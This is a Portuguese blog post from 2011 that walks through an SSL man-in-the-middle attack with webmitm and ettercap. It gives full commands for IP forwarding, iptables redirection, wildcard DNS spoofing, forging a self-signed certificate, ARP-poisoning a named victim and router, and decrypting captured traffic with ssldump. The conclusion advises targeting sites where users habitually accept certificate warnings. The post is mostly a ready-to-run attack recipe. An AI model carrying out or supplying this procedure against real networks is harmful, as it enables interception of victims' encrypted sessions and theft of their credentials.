Ataques ao SSL com webmitm

Posted by Miguel Lopes on Mon, May 23, 2011
In Encriptação, Linux, Segurança,

**homem no meioO webmitm é uma ferramenta semelhante ao SSLStrip do post anterior, excepto que em vez de passar a ligação do utilizador a uma ligação não encriptada, cria um certificado auto-assinado e envia ao utilizador, deixando assim a ligação encriptada mas com uma encriptação da qual temos a chave.**

Para o webmitm funcionar correctamente também são necessários completar alguns passos tal como com o SSLStrip, no entanto embora alguns dos passos sejam iguais irei alcança-los de forma diferente para dar a conhecer mais do que um metodo de os atingir.

Redireccionar Trafego

Tal como foi dito anteriormente é necessário redireccionar o trafego que se vai dirigir a nós, para que a vitima não fique sem acesso á internet. Para activar o reencaminhamento dos pacotes vamos ter que executar o seguinte comando na consola.

$ echo 1 > /proc/sys/net/ipv4/ip_forward

E como desta vez iremos utilizar o ettercap para modificar as tabelas de arp vamos também ter de remover os ‘#’ das seguintes linhas no /etc/etter.conf.

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Alterar registos DNS

Para alterar os registos DNS vou utilizar também o ettercap para isso preciso de comentar/apagar as linhas existentes no ficheiro /usr/share/ettercap/etter.dns e adicionar a seguinte.

*        A 192.168.0.150

Partindo do principio que o ip 192.168.0.150 é o meu.

Gerar o certificado auto-assinado

Para gerar o certificado temos só que correr o webmitm, depois da primeira vez se houver necessidade de criar outro certificado basta apagar o existente na pasta actual.

$ webmitm -d
Generating RSA private key, 1024 bit long modulus
.++++++
........................................++++++
e is 65537 (0x10001)
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:PT
State or Province Name (full name) [Some-State]:Aveiro
Locality Name (eg, city) []:Costa Nova
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Segurança e SSL, Lda
Organizational Unit Name (eg, section) []:
Common Name (eg, YOUR name) []:www.appweb.com
Email Address []:adm@appweb.com

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:aleatorio
An optional company name []:
Signature ok
subject=/C=PT/ST=Aveiro/L=Costa Nova/O=Seguran\xC3\xA7a e SSL, Lda/CN=www.appweb.com/emailAddress=adm@appweb.com
Getting Private key

Depois de gerar o certificado o webmitm fica a correr á espera de ligações.( o parametro -d é para debug)

Iniciar o Ataque

Com as configurações todas feitas falta só colocar tudo em acção para isso vamos usar o ettercap…

$ ettercap -T -q -i eth0 -P dns_spoof -M ARP /192.168.0.100/ /192.168.0.1/

Sendo que o ip da vitima é 192.168.0.100 e o router 192.168.0.1.

Capturar/Decifrar Trafego

A parte de captura do trafego pode ser alcançada com o Wireshark, tcpdump ou outra ferramenta que exporte os resultados em formato pcap.

No final do ataque para decifrar o trafego SSL cifrado com o webmitm pode ser utilizado o ssldump.

$ ssldump -A -r captura.pcap -d -k webmitm.crt > resultados

Para navegar melhor através dos resultados recomendo o uso do grep.

Conclusão

Este tipo de ataques gera um aviso de ligação insegura no browser sendo que a melhor altura para o implementar seria numa aplicação/site que não tivesse os certificados actualizados ou utilize certificados auto-assinados. Nesse cenário os utilizadores mesmo que saibam o que estão a fazer, podem aceitar o certificado sem o verificar já que poderá ser uma operação rotineira. O webmitm faz parte do pacote dsniff.



comments powered by Disqus